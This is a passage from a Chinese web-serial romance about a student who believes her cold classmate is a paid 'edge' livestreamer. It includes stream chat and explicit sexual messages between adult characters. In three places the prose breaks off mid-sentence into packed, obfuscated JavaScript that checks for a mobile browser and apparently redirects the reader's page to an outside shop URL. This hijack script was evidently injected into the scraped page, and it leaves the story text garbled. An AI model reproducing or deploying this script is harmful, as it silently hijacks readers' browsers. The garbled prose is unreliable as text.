李娅宁倒也没追问,只帮她分析道:“如果是m这种人设,那大概率是真的,一般不是他们字-母圈的人演不出来精髓。” “但其他的,比如说他突然对你很热情啊,或者给你说我最爱你啊,那都是假的!你一个字都别信,都是为了钱而已。” “为了钱——原来努力营业都是为了钱吗?” 薛年年震惊了。 原来肖序昨晚那么热情,都是在营业? 他难道非常缺钱吗? 13. 第一次直播 肖序难道非常缺钱吗? 看起来不太像啊…… 薛年年有些怀疑,但下一秒,李娅宁就再次确定道: “主播营业当然是为了钱,而且你别看有些人平时打扮得人模狗样的,背后可能穷得连饭都吃不起了!” “他们都很会装的,千万别被他们骗了!” 薛年年认真地听着李娅宁的话,越听越觉得惊讶。 原来肖序那么矜贵的气质都可以装出来吗! 大城市的人果然不得了,她还是见识太少。 不过想想也是,如果不是因为缺钱,肖序肯定也不会想去小网站上擦边。 一旁的李娅宁还在嘱咐她:“如果那些主播私下来和你说‘喜欢你’,‘想和你在一起’之类的话,那都是在营业!” “你要是还对他感兴趣,可以敷衍他一下,心里别相信就行,给点小费也可以,重要的是自己开心,明白了吗?” “嗯嗯!”薛年年严肃点头,记下李娅宁的经验。 她家就是非常普通的小县城家庭,父亲在外做小生意,不怎么回家,每月给她和姥姥打生活费。 吃喝不愁,上学的钱也足够,就是没什么多余的钱。 薛年年自己倒是存下了些零花钱,但都放在网上银行的账户里。 据说建模课到后期,还需要去外面做实地调查。 要是调查地在荒郊野外,她之后和肖序一起出去,两个人都没钱,又没网络怎么办? 薛年年决定以后多存一点钱,最好一会再去取几十块现金放身上,以备不时之需。 万一肖序之后连饭都吃不起了,她得帮上忙呀! 可他又为什么会缺钱呢? 薛年年没想明白。 她思索了一会,不由感叹道:“除了高考有关的东西我都不太懂,实在是太复杂了,明明只是个娱乐活动呀……” 李娅宁摸摸她说:“乖乖,最近压力很大吗,怎么对这些东西感兴趣了?” “是啊,压力很大。”薛年年苦恼道。 她们学院对转专业的要求是必须在科技比赛里拿奖,但大二只有建模课能去参赛。 “我很想继续上好建模课,但我的组员又是肖序——” “害,你一说肖序这两个字我就明白了。” 李娅宁安慰道,“他就是很难搞,不喜欢别人碰过的东西,不说废话,掌控欲极强,自律到变态,每天还冷着个脸不知道他在想什么,傲气得很。” 李娅宁越说声音越小,似乎是碍于什么,有些不敢在背后蛐蛐他。 但与此同时,她又靠近了薛年年耳边,小声和她八卦道: “肖序从小就这么神经质……柳思睿以前和我说,似乎是因为遗传。” “遗传?”薛年年也靠近她。 李娅宁小声说:“他爸在他很小的时候就死了,你还记得我和你说过,肖序在八九岁时,曾被警察指认为是两起命案的嫌疑人吗?其中一起就是他父亲的案子。” 薛年年听到她的话,不禁瞪大了眼睛:“警察怀疑是肖序杀害了他自己的父亲??” 李娅宁点头,继续补充道:“虽然最后以自杀结案了,但从那以后,他妈妈的状态就一直不是很好,到现在都住在精神病院里。” 薛年年惊讶地张开了嘴,觉得这实在太超过了。 ……原来是这种遗传吗? 她妈妈之前生病时,都花了好大一笔钱,靠医疗保险和爸爸工作多年的积蓄,最后才没有出去借款,她的高考也没有受太大的影响。 虽然现在一切回归了平静。 但如果肖序从八九岁起,就要负担自己妈妈住精神病院的医疗费的话……那真是很大一笔开销啊! 惨死的爸,生病的妈,贫穷的家庭和破碎的他—— 这是苦情剧里才会有的情节吧? 薛年年没怎么看过电视剧,但她觉得苦情剧主角应该不会比肖序更苦了。 原来这就是他缺钱的理由! 他都被逼到去小网站上,靠擦边和营业赚钱了。 每天上学任务那么重,晚上还要熬夜直播,实在是很不容易啊…… 据说肖序白天还神出鬼没的,难道是因为还在外面有其他的兼职吗? 休息不好,精力就不够,那每天臭着脸也是必然的吧? 薛年年觉得自己明白了一切。 她之前准备去取现金的决定果然是对的! 要是肖序以后还是那么冷淡,她就塞十块的零花钱到他兜里去。 看在钱的面子上,他应该会态度好一点吧? 薛年年发现她找到了新的应对肖序的方法。 她的毕业证终于又有救了! “太感谢你告诉我这些了。”薛年年感激地抱住李娅宁的手臂,“一会我来付吃饭的钱吧——” “不用不用,说好我请客的。” 爱美之心人皆有,李娅宁一看薛年年那张脸就想给她花钱。 再说薛年年的家庭条件似乎很一般,而她又一点都不在乎这点小钱。 李娅宁倒也没直说,只故意道,“你要是觉得过意不去,下次再请回来?” 薛年年想了想,认真地点点头。 得到下次约饭的保证,李娅宁更开心了,拉着她往校外的餐厅走。 薛年年跟着她,吃完午饭又请教了一下题后,才回到宿舍。 昨天她答应了晚上要去看“肖序”的直播…… 他究竟还缺多少医疗费啊? 薛年年觉得自己有必要私下去和“肖序”确认一下。 但她今天直到晚上都是满课,上课的教授还非常喜欢布置很多作业。 薛年年都不知道自己能不能做完,她的专业课学得很费劲,今早建模课的习题她也没完全懂。 大学怎么和高中这么像啊? 和妈妈曾经形容过的轻松生活根本就不一样…… 她能赶得上深夜的直播吗? 薛年年有些担忧。 - 到了深夜。 卢剑熟练地打开电脑,准备开始今天的直播运营工作。 他看了一眼自己的股票账户,肉痛得龇牙咧嘴地给自己的摇钱树发了一条短信: 【余哥,准备得怎么样了?】 对方很快打了个视频,直接说道:“当然准备好了,今晚可是很特殊的。” “……特殊?” 卢剑看着屏幕另一边,肖余那张跃跃欲试的帅脸,有些疑惑,“你今天怎么像是燃起来了,有什么特别的客人要来看直播吗?” 肖余没直接回答他的话,戴好黑色的口罩后,他沉默了一会才说: “老天保佑,她可一定得是个好色的女人啊!” 卢剑:“?” 肖余缓缓从坐在椅子上的姿势站起,他靠近屏幕,卢剑清晰地看到了他今天的着装。 卢剑没忍住瞪大了眼睛,震惊道:“你,肖哥,你今天怎么穿成这样?” “我和她有约定,今天不能穿得太少。”肖余整理着自己的领口。 他的喉结略微滚动了一下,像是在回忆,又似乎很期待地说: “但我可是擦边主播啊,不能不敬业不是吗?所以我给她准备了一点惊喜~” 卢剑没忍住啧了一声,觉得今晚看直播的观众还真是幸运。 肖余说的那个女人究竟是谁?太有艳福了吧,鱼崽的脸已经很无敌了,竟然还为她准备得这么认真。 等等,为了一个人,肖余难道去私联了? 私联了谁啊??? 卢剑脑海中立刻开始头脑风暴。 屏幕另一边,肖余扣紧自己的袖口后,抬起头,挑了挑下颚问:“怎么样?” “很帅,不过你现在像在孔雀开屏一样。” 卢剑没好气地说,“你确定你等的那个人今晚会来看直播吗?要是你准备得这么认真,她不来怎么办?” “不来?” 肖余之前都没想过有这个可能。 如果是平时,根本就不可能有人会拒绝他,但那个人—— 她还真有概率放他的鸽子! 昨天她就已经回绝过他好几次了,虽然这一点也很可爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792038|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但要是她今晚不来…… 肖余的面色立刻沉了下去。 他又略微扯了一下领口,把一旁准备好的直播道具拿过来,放在手心缓缓敲了敲,语气却恶狠狠地说: “要是不来,她会知道后果的。” 卢剑看他黑沉着脸的样子,觉得肖余现在的精神状态真是越来越颠了,难道那个人不来看,他还能去线下单杀她吗—— 等等,貌似还真有可能啊! 回忆起之前那张血肉模糊的照片。 卢剑一脸惊恐地喊:“鱼崽你可千万别做傻事啊!” “那就要看她的表现了。” 肖余灰蓝色的眼睛闪过一丝阴霾,冷声道,“不遵守约定的家伙……呵。” 这声冷笑让卢剑吓得抖了抖,他假装把键盘敲得噼啪响,赶紧转移话题说: “快到开播时间了,鱼崽你不把摄像头打开吗?” “我知道,不用提醒我。”肖余顺手关掉了视频通话。 他略微调整了一下面部表情,就将电脑的摄像头打开,开启了直播间。 刚一打开直播,早已等待着的粉丝观众们就如潮水般涌了进来。 弹幕瞬间开始变得热闹—— 【鱼崽晚上好!】 【终于开播了,等好久啦!!】 【已沐浴焚香完毕,请领导指示!】 【今晚好像不是总裁和下属的主题吧,哪来的领导?】 【最好不是,鱼崽的直播我只有那场没看,每天上班光看到我领导那件衣服就萎了……】 【主播主播,今晚是什么活动?】 肖余看见了这条弹幕,眼睛微微眯起,笑了笑:“我今天有认真准备着装,看不出来是什么主题吗?”他将镜头略微调整了一下角度。 观众看到了他紧扣的领口。 【等等,今天这件……】 【卧槽】 【哇靠!!!奔走相告啊!鱼崽今天终于松口,竟然愿意搞这个了!】 【主播这是进入发-情期了吗?】 【救命,好帅,让我舔舔!】 【我舔舔舔舔舔——】 肖余半靠在椅子上,看似放松地在等待着直播间预热,然而他的目光却一直紧紧地盯着进入直播间的观众ID。 这种付费网站,每个vip用户的ID都是专属的。 那个人……昨天他已经确认了她的ID名称,的确是续费了很久的忠实用户。 作为他忠实的事业粉,今天她会来看直播吗? 肖余等待着,目光瞥见了电脑上的时钟—— 距离直播正式开始,只剩两分钟了。 她竟然还没有来…… 她会不会实际上不想来看他了? 肖余的目光逐渐变暗。 昨天他私下的态度太过分了吗,是不是吓到了她? 她说不介意,其实是在敷衍他吧!骗子骗子骗子骗子骗子骗子骗子骗子…… “咔哒——” 时针缓缓指向整点。 最后的机会消失。 不遵守约定的人……肖余灰蓝色的眼睛一凛。 他从座位上起身,焦躁感与失落被他完整地藏了起来。 手指攥紧,又松开。 肖余面色如常,冷声道:“开始吧。” 没有必要了。 他不会继续等她,也不会再特殊—— 【抱歉!!我是不是来晚了?】 屏幕上突然闪过这么一条弹幕。 肖余看到了ID的名称,眼睛瞬间产生了变化。 他拿起一旁的皮质手套,修长的手指缓缓探入,动作从容不迫。 哑光的皮革紧贴着他手背的轮廓,勾勒出骨节分明的线条。 听筒中传出皮肤与手套间的细微摩擦声,轻,痒……如同低语。 直播瞬间沸腾了起来,弹幕滚动刷屏。 肖余缓慢地咬住手套的下沿,往下,带着一种慢条斯理却不容拒绝的力量。 来晚了吗? “没有,恭候多时了。”他说。 14. 第一次道歉 他的声音轻而缓慢,直播间的弹幕却瞬间炸锅了: 【啊啊啊啊啊啊——】 【老天……这个手,手套,手指,阿巴阿巴,我受不了了】 【对主播犯了错】 【直播才刚开始你们就犯错了???】 【好涩啊好涩啊好涩啊,鱼崽越来越会了!】 【主播真的进入发-情期了吧!】 【鱼崽的手简直就是极品,骨节匀称,手背还带点青筋,嘶——以前我就这么觉得,但他老是喜欢把手晃来晃去的不给人看!】 【难道只有手吗?楼上你就说鱼崽身上哪里不好看吧!】 【或许……脸?他一直戴着口罩,我也不知道他长啥样啊】 【鱼崽的鼻梁都快把口罩顶到天花板上去了,脸不可能难看的啦】 【哼哼,这就是老粉的优势了,以前鱼崽直播是露脸的,后来某天才忽然把口罩戴上】 【我证明!鱼崽的脸……该怎么说呢】 【怎么说?】 【简直就是艺术品级别的美貌,我敢说现在的娱乐圈没有任何一个明星能比他更好看!】 【老粉吃得也太好了吧!】 【啊啊啊啊啊,我也要看我也要看,撒泼打滚——】 屏幕后面。 薛年年刚躲进衣柜里,抱着手机,看到滚动刷屏的弹幕,不禁也赞同地点了点头。 肖序的脸的确很好看…… 人的审美是主观的,但肖序的帅是客观的。 她为了赶上今天晚上的直播,下课铃响后,用了最大的努力往回跑。 现在勉强赶上了。 薛年年有些气喘吁吁的,却还是支持般发了一条弹幕说:【》》嗯嗯,真的很好看,我也证明!】 【哇,又来一个,老粉竟然有这么多吗?】 【是稀有的老粉!姐姐姐姐,那你知道鱼崽的美瞳用的是哪个牌子吗?同款颜色好难找】 薛年年看到似乎有人在向她提问,她退出去查了一下“美瞳”是什么东西,才又认真回复道: 【》》眼睛颜色是天生的,主播应该没有戴美瞳吧】 【……啊?】 【啊??????】 【啊!!!】 【什么???!我也是老粉啊,我怎么不知道这件事!】 【鱼崽的眼睛竟然本来就是灰蓝色的??】 【不可能吧,真有人类天生就能有这种颜色的瞳孔吗?】 【等等,仔细一想,主播好像确实没承认过自己戴了美瞳】 【鱼崽的美瞳从来就没滑片过……我还一直纳闷什么牌子质量这么好呢!结果竟然是天生的?】 【姐姐观察太仔细了!不愧是老粉!!】 【好牛的观察力……得把直播录像一帧一帧地来回分析才能这么确定吧】 【姐真的别太爱了!哎哟哎哟,你看鱼崽那小子尾巴都快翘到天上去了,看给他得意的!】 【哼!这小子仗着自己好看,身材又好,平时可任性了,姐你得多敲打敲打他!】 薛年年摸摸自己的头发,有些犹豫地打字道:【》》我觉得他挺好的呀……没有很任性,还好还好】 【哇……靠,这么温柔又长情的姐,鱼崽你小子真是有福】 【不赶紧脱一个感谢一下姐长久以来的支持吗?】 【别太惯着他了!】 【不行!姐你不能这么温柔,鱼崽这小子就是个地雷!你对他好,他反而会炸给你看!】 【啊啊啊不要,姐竟然纵容这小子蹬鼻子上脸,我浑身像有蚂蚁在爬!】 肖余本来看到弹幕都在夸薛年年,说她观察仔细,温柔又长情,他还觉得与有荣焉呢。 结果没一会儿聊天的风向就变了,弹幕开始合力数落他过往的种种劣迹。 ……他之前有那么过分吗? 肖余仔细回忆着,以前他从来不在乎这些,今天却忽然有点在意了。 没过多久,弹幕上就列了好几十条他过去的种种“罪状”。 肖余刚有些不服气,想反驳两句,就看到屏幕上那个特别的ID发了两条: 【》》没有惯着他……但万一敲打太多,他喜欢上惩罚了怎么办?】 【》》只有适可而止才是奖励。】 适可而止……吗? 那意思就是只要他表现得好,今晚就会奖励他? 肖余看到薛年年发的那两条,似是警告又像是在纵容他的话,感觉自己像是被她隔空敲了敲脑袋后,又摸了摸下巴。 他满意地哼哼了两声,弹幕就又开始起哄了: 【哇~哦~姐姐好会】 【老吃家了,地雷小狗就该这么顺毛才行】 【果然老粉就是老粉啊……是我太天真】 【还是太便宜这小子了,姐姐看看我,我也想要奖励!】 【今天就让让他吧,鱼崽今晚真的格外地帅——】 【确实,以前主播从来不穿这个类型的衣服,偶尔来一次真是别有风味】 【刚被帅晕了现在才醒,直播开始了吗??】 …… 肖余没有管弹幕的议论。 直播流程本该正常进行下去了,但他其实并不适应穿过于规矩的衣服。 他将戴着皮质手套的手按上领口,那里有一条深蓝色的领带,圈住脖颈,紧贴着喉结。 喉结略微滚动了一下,他缓慢调整着横在胸口的束带。 “嗒。” 拽紧,放手。 嗯……果然很不舒服。 肖序略微皱眉。 冷硬的皮面嵌入胸口,随着胸廓的起伏绷紧。 束带压出浅浅的凹痕。 似乎是觉得勒得太紧,他又用指尖轻轻拨弄了一下皮革—— 【等等,等等,是我反应太慢了吗!这是制服啊!制服!】 【今晚玩这么大???手套,束带,口罩……便衣警察的制服诱惑吗?长官我准备好了,快来!】 【出来了,出来的不止是眼泪】 【楼上你也太快了,主播才刚把衣服穿好……】 【我又想犯错了怎么办呜呜呜】 【怎么穿得越多越涩啊!】 【好想弹一下胸前那根带子】 薛年年缩在衣柜里,呆呆地望着屏幕上滚动的虎狼之词,还有似乎在调整着胸前金属扣位置的“肖序”。 她握紧的手机差点又吓得扔出去。 错了…… 她完全错了!!她不该和肖序有那个约定! 之前她总觉得,如果肖序穿太少,她可能会在线下不自觉用异样的眼光看待他。 但要是穿得越多—— “肖序”就会越像他在白天的样子啊! 现在他这副的打扮,除了少副眼镜,简直就和他今早的状态一模一样! 严谨,克制,精确……每一个动作都蕴含着隐秘的力量感。 薛年年本来就已经很苦恼了,现在更是完全分辨不出来两者的区别。 ……肖序现在是营业状态吗? 还是说他原本就是这个隐忍又克制的样子? 完蛋了,完蛋。 她呆愣地望着屏幕上的人影。 …… 肖余也觉得他自己或许选错了。 他本来就不喜欢过于守规矩的东西,规矩会让他联想到他那脑子有问题的亲哥。 这样的联想让他感到反胃。 但约定好了今天不能穿太少,他选择的范围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【警官大人下次也要来救我啊——】 “可以啊。” 肖余也状似轻松地和观众道别,“可以随意使用我。” 他灰蓝色的眼睛微微眯起,站在光线里,灯光让他的侧脸变得柔和。 说话时,他的语调轻而缓,就像是真的在温柔地安抚着人质。 警察的制服让他看起来忠诚又挺拔。 黑色的衣物包裹着他的全身。 肖余略微低头,腹部的阴影随着呼吸缓慢起伏。 听筒里,疲惫的喘息声时断时续。 就像刚刚经过了一场激烈的争斗,歹徒已被缉拿归案,熙熙攘攘的人群已经离开。 没有人注意到角落里,警官似乎有些脱力。 他的手腕不自觉地痉挛着,被藏在了身后。 从腰侧的人鱼线往下,汗水濡湿了腰线,沿着沟壑缓慢滑落,逐渐隐没在皮质的腰带间。 绷紧的肩线,腰身…… 腰带收束出利落的线条。 薛年年觉得她大概错过了很不得了的东西…… 但肖序现在的状态,是不是有些不太对劲? 她愣愣地看着屏幕,还未回过神,忽然看到手机上出现了一条短信—— 【抱歉】 这条信息在瞬间被撤回。 下一秒,她又看到“肖序“问她: 【姐姐,你觉得今晚我做得好吗?】 15. 第一次生气 【姐姐,你觉得今晚我做得好吗?】 薛年年盯着屏幕,还没弄懂之前那句【对不起】是什么意思。 她有点迷迷糊糊的,脑子里盘旋着那段未完的旋律,实话实说道: 【》》今晚的演出——背景音乐很好听?】 【……】 对面只回复了几个点。 薛年年更懵了,只能又补充了一句: 【》》但服装非常帅气,辛苦啦,你说到做到了呢![摸摸头.jpg]】 “咔——” 屏幕另一边,肖余低着头,站在角落里,伸手,关掉整栋房屋灯光的总闸。 空荡荡的别墅在刹那间陷入黑暗。 他低着头回到二楼的房间,独自躺进黑暗里。 略微汗湿的额发耷拉在他的眼角,有些痒。 肖余盯着屏幕上的“说到做到”,眼眸微阖,面无表情地发送道: 【我想咬你】 【》》?】 薛年年惊了:【》》为什么咬我?】 【因为我生气了】 幽蓝色的灯光照在他的脸上,他瞳孔中的灰蓝色仿佛摇曳的蓝色火焰,隐隐蕴含着怒气: 【我要冷暴力你了】 【我要冷暴力你了】 【我要冷暴力你了】 手机上“肖序”发来的消息开始刷屏,薛年年眼睛都花了,没懂他什么意思: 【》》不要这么对我嘛……】 【……】 【》》不喜欢摸摸头吗?】 【……】 薛年年觉得他要是今晚一直发省略号,那她就该放下手机去赶作业了。 【》》不喜欢就算了,那我先走啦?】 【不许走!】 肖余盯着屏幕上刚出现的回复,眼角逐渐变红。 他咬了咬牙,忿忿道:【你觉得我今天表现得不好是不是?竟然还夸我,骗子!】 【》》我有夸你吗?】 薛年年都不记得了,她翻了一下聊天记录,才确定道: 【》》没有,我只是实话实说了而已——服装很帅气,人很帅气,背景音乐很好听,没有在夸你!】 【……我真的要冷暴力你了】肖余要被她气死了。 薛年年没明白自己怎么又惹到了他,她懵懵地回复道:【》》怎么了嘛……我也遵守约定来看你直播了呀?】 【看了,但是完全不喜欢是吧?】 【》》还好……】 【我咬死你】 【》》不可以哦,会痛】 薛年年啪啪打字道:【我很怕痛,你不能咬我,但要是你喜欢的话我可以咬你】 肖余盯着屏幕,过了几秒,耳根不知为何忽然变得通红。 脑海中逐渐浮现被咬的画面。 他蓦然咬紧自己的手腕,感觉到全身的血液都汇聚到了咬痕处: 【不要在这种时候撒娇!】 【》》啊?】 【》》我刚刚看起来像在撒娇吗?】 薛年年低头环视了一圈自己,没弄明白: 【》》要是这样能让你开心点,那就当我在撒娇吧】 可恶……她似乎有点太纵容他了。 肖余感觉自己的那点怒气,竟然快要莫名地全部消失了。 他松开自己的手腕,舔了一下咬痕,很不服气地说:【今天衣服限制了我的发挥】 其实并没有,他只是想起自己的亲哥就反胃。 薛年年见状却也赶紧嘱咐他:【那以后千万别再穿那么多了!少一点少一点】 要是他以后直播再扣得那么严实,薛年年觉得自己真不一定能分清他是否在“营业状态”。 如果搞混了,那以后线下见到肖序,她岂不是看他干什么都像在看擦边? 肖序看书,嗯,果然是在擦。 肖序喝水,嗯……一定是在擦! 这是万万不可的啊! 薛年年才不想让自己的脑子里堆满黄色废料,但经过今晚以后……还真不一定了! 等等—— 薛年年忽然也想起了正事,她可不是专门来看黄色的啊…… 她难道不是因为想多了解肖序,才会冒着被发现的危险,去看他的直播,还和他聊到现在吗? 思索到这里,薛年年立刻开始干起了正事: 【》》其实我一直有个事情想问你】 【想问什么?】 【》》你究竟为什么要留在这个网站上直播啊?明明靠你的能力,去其他地方会发展得更好吧】 【因为来钱快啊】 肖余看到她这条标准的“事业粉”提问,几乎没有思考就回复了。 他现在需要钱……但他又确实一点都不需要钱。 这件事背后的原因很复杂,很矛盾,不过他隐瞒得很好。 至少目前为止,肖序在国内还没有听到一点风声。 薛年年看到他提起“钱”,瞬间就想到了李娅宁今早和她说的话。 果然! 肖序现在非常缺钱…… 薛年年立刻确认了,他果然是因为他妈妈的医药费才开始干擦边的。 【》》缺多少钱?】她问。 肖余看见这句话笑了笑:【怎么,姐姐想要包养我吗?】 他灰蓝色的眼睛微微眯起。 在睫毛的阴影中,他的目光就像一只蓄意的狼崽: 【我可是很贵的】 【》》唔……】 【别退缩啊,要先验验货吗?】肖余躺在地上,手指缓慢地开始解扣子。 一颗,两颗,三…… “咔哒——”束带的金属扣滑落到一旁。 他随手拍了一张实况照片。 薛年年在下一秒就再次看到了“肖序”伟岸的胸襟。 他的胸膛在昏暗的环境里略微起伏,轮廓被光线勾勒得分明,带着一点微微的薄汗。 一滴水珠隐没在他的锁骨处,沿着沟壑滑落…… 恰到好处的弧度,蓄势待发般的力量感。 看起来的确很贵很贵—— 薛年年觉得肖序肯定是欠了一个天文数字。 她叹了口气说:【》》我买不起你……】 【不行,你刚刚已经把我看光了,我的清白没有了!你要对我负责!】 你他喵碰瓷啊!! 薛年年觉得他心态真好:【》》我在和你说正事!没有想和你搞黄色的事情!】 【这叫什么黄啊】肖余瞥了一眼自己的胸口,他觉得自己还什么都没做呢。 但他却笑得更开心了,问道: 【甜心,你想看看什么是真正的黄色吗?】 薛年年还没反应过来,屏幕上忽然就跳出了一个视频电话的邀请。 她吓得心脏差点骤停,手忙脚乱地想拒绝,却不小心点到了接通。 视频瞬间被打开。 救命!! 薛年年只能先赶紧关掉自己这边的摄像头和话筒。 肖余倒也没在意,只将屏幕对准了他刚刚解开的的领口,问道:“能看清吗?” 屏幕上,薛年年第一眼就看到了“肖序”棱角分明的下颚和他冷色调的瞳孔。 那双白天格外冷淡的眼睛里,此刻蕴含着戏谑的笑意。 摄像头不断摇晃,从领口开始,逐渐往下—— 锁骨,胸口,腹肌……等等,再往下那就是!! 薛年年吓得脸都白了,连续发送道: 【》》我不想看,我不想看,你不要给我看!】 【哎,不喜欢吗?】 【我以为女孩子都会喜欢这个】 薛年年挣扎着把手机扔了出去,膝盖在衣柜门上猛地撞了一下,疼得她鼻子都皱了起来。 在黑暗中,她捂紧自己的眼睛。 腹肌下面就是那个东西了吧!她才不想要看肖序的牛—— “喵~” ……咦? 耳边传来一声细微的猫叫声。 薛年年疑惑地松开指缝,听见不远处,扔出去的手机此刻正在“喵喵”地叫着。 手机的屏幕上,一只毛茸茸的三花猫正在探头探脑。 薛年年缓缓靠过去,看到摄像头里,那只猫正团在肖序的大腿处,被他用修长的手指轻轻抚摸着。 猫咪胖乎乎的像一只黄色的毛团。 它蓝色的眼睛忽闪忽闪,大概是被摸得很舒服,它在肖序的手下还懒散地伸了个腰。 【》》好可爱的猫……】 薛年年没忍住把手机捡了回来,打字道:【额头上的花纹像皇冠一样,是小公主呢】 【是小公公】肖余纠正道。 【》》竟然!】 【虽然雄性的三花猫很少见,但它确实是,你看——】 肖余把猫提了起来,给薛年年展示:【我前段时间才带它去绝了育】 薛年年没看到肖序的牛子,反而先把猫猫的看光了。 她愣了愣,摸了一下自己的发尾说:【》》原来你昨天发的[猫咪眨眼.jpg],是你自己养的猫啊……】 【两个月前我才刚把它捡回来,当时瘦得像竹竿一样,现在都快胖成球了】 肖余的手揉了揉猫咪的头顶。 或许是感应到了他在说自己的坏话。 屏幕上,猫咪忽地从他大腿上站起来,恶狠狠地把爪子伸到他胸前,不住地扒拉他身上的衣服,像是在泄愤。 本来就已经解开了的上衣被猫爪拉扯得越发松垮。 猫爪按在胸肌上,硬度十足,回弹时的触感却看起来软乎乎的。 那团黄色在他胸前拱来拱去。 肖余被它闹得没办法,却只温柔地拍了拍它说:“喂,你就这么对待养育你的亲爹吗?” 薛年年看着他俩那双相似的蓝色眼睛,不禁笑出了声。 “玩去吧玩去吧。” 肖余把猫轻轻放回到地上说,“你爸要开始讨好富婆了,别在这捣乱。” 猫咪落地后,欢快蹦跳着跑远。 肖余回过头,目光中带着笑意问她:“怎么样,喜欢这种黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他本来就不抱有太多期待。 “被爱”从来都不是无条件的。 在他很小的时候就是这样,他必须装得像个“听话”的孩子,才不会又被关进狗笼子里去。 或者只有当他生病受伤的时候,长辈们才会从肖序那里分一丁点关注到他身上。 只有痛苦,才能让他感觉到“被爱”。 这样的爱让他感到作呕。 但这毕竟也是爱,所以无所谓。 无论她说什么,有一点点就可以了,就一点…… 肖序将手机拿过来,放到眼前。 屏幕闪烁着幽蓝的光线,如同潘多拉魔盒一般隐秘,引诱人去打开。 聊天界面徐徐舒展,字迹在他面前呈现—— 【》》为什么要和你聊这么久啊……】 【》》因为我觉得,今天你似乎很需要人陪】 黑暗中,肖余似乎听到了月光落地的声音。 他的呼吸缓缓铺洒在玻璃屏上,湿润的呼吸让他眼前变得模糊。 这可不止一点点啊…… 肖余呼出一口热气,手指微动,却又突然不知道该说点什么,只能反复又删除。 薛年年发过去回答,看到对话框一直显示着“正在输入中……”,不知道发生了什么。 ……出什么事了吗? 从一开始,薛年年其实就觉得他今天的状态有些不太对劲。 那句“对不起”,还有直播末尾他的表情,配合上那首未完的背景音乐。 如同铁锈一般腐败的植物味道让她感觉很难受,薛年年不禁感到有些忧心。 幸好没担心多久,对方忽然发来一条:【我才不需要你陪】 【》》这样啊……】薛年年看到消息,苦恼地说, 【》》那我先去写作业了,晚安?】 【别】 【……】 短暂地沉默后,他突然又说:【甜心~现在随便发点什么吧,想说什么都行】 说什么都行? 薛年年思索半晌,缓缓发送道: 【》》之前你给我看猫的时候,把我吓到了,我以为你要——】 【》》躲的时候,我的膝盖都撞到了门上,很痛哎!】 【很痛吗……那要不然我给你舔舔?】 【》》?】 【舔哪里都可以,怎么样,想试试吗?】 脑浆像煮沸的蜂蜜一般,粘稠得冒泡,肖余短促地喘息了一声,没忍住扯了扯松散的领带,面色逐渐变得潮红。 【宝贝儿我肯定能把你舔得很爽的~来试试吧?】 这一次,他可不是在说骚话。 他是真的想舔了。 16. 第一次摸摸 【》》都告诉过你不用还钱了!怎么还——】 【和钱没关系】 【我可没有在开玩笑】 肖余觉得要是现在她在他身边,他肯定能取悦到她: 【之前我从来没给别人做过,技术不太纯熟,可能第一次不会那么爽,但之后……我肯定会学得很快。】 【》》你,我不要!!】 薛年年感觉自己话都要说不完整了。 她一开始看到他说“舔”,还没明白是什么意思。 退出去查了一下后,她看着网页上那些带图的解释,脸顿时像烧起来了一样,手足无措地打字道: 【》》那个,那个看起来会很脏吧……】他难道不介意吗? 【我都会咽下去的,不用担心】 肖余看到她这么说,却完全没想到自己。 他觉得她的任何担忧都是多余的: 【如果你只是因为害羞才想躲,我会按住你的大腿,你只需要享受就可以了,其他什么都不用想】 【》》我才没有想!!!】 嗯,果然害羞了。 肖余舔了一下嘴角说:【那就是我在想,味道应该会很好】 【》》不会很好的!你好烦!】 【我会努力让你爽的,真的不想试试吗?】 【》》闭嘴啊!你是不是有病,我咬你哦】 肖余看到她恼羞成怒般的回复,呼吸越来越急促了。 【》》越骂我越喜欢,你不是说过吗?适可而止是奖励哦甜心:D】 薛年年看到他说“喜欢被骂”,表情瞬间呆住了。 她差一点都忘记这件重要的事了! 【》》之前你发给我的那些学习资料……你真的喜欢被那样对待吗?】 【是啊】 【》》……】 肖余见她似乎有些无语,没忍住故意玩笑般发送道:【我就是有病,你要不要来救救我?】 他根本没有想得到严肃回复,然而发过去后,对方却突然沉默了。 过了几秒后,她才忽然又回复道: 【》》嗯,我会帮你想办法】 不管是靠保险还是其它,薛年年觉得医药费的事不管怎样,之后总会有办法。 【》》真的,我肯定会,你千万千万不要自暴自弃啊!】 视野里猛然撞进她的话,肖余的胸口也像忽然被撞了一下。 他的耳根莫名就变红了,一股从下而上的热度让他的大脑幸福得有些不真实。 喂……他随口玩笑两句,她都会这么郑重地对待吗? 她似乎很爱他…… 她真的很爱他!!! 太好了太好了,她很爱他。 肖余狠狠掐了一把自己的大腿,但那股从下而上的热度却没有丝毫减轻,反而愈演愈烈: 【宝贝儿你什么时候能来骑我啊?我都快等不及了> 【》》不可能,别想了】 【呼……那你介意我现在自己解决吗?】 【》》???】 薛年年都懵了,等等,这种事——她觉得她之前查了那么多资料,现在应该没有理解错他的意思! 【》》这种事你为什么要问我啊!!难道我还能阻止你吗?】 【当然】 【你说不可以,那就是不可以】肖余面色潮红地忍耐道。 【我会听你的话】 【》》……听我的?】薛年年愣住了。 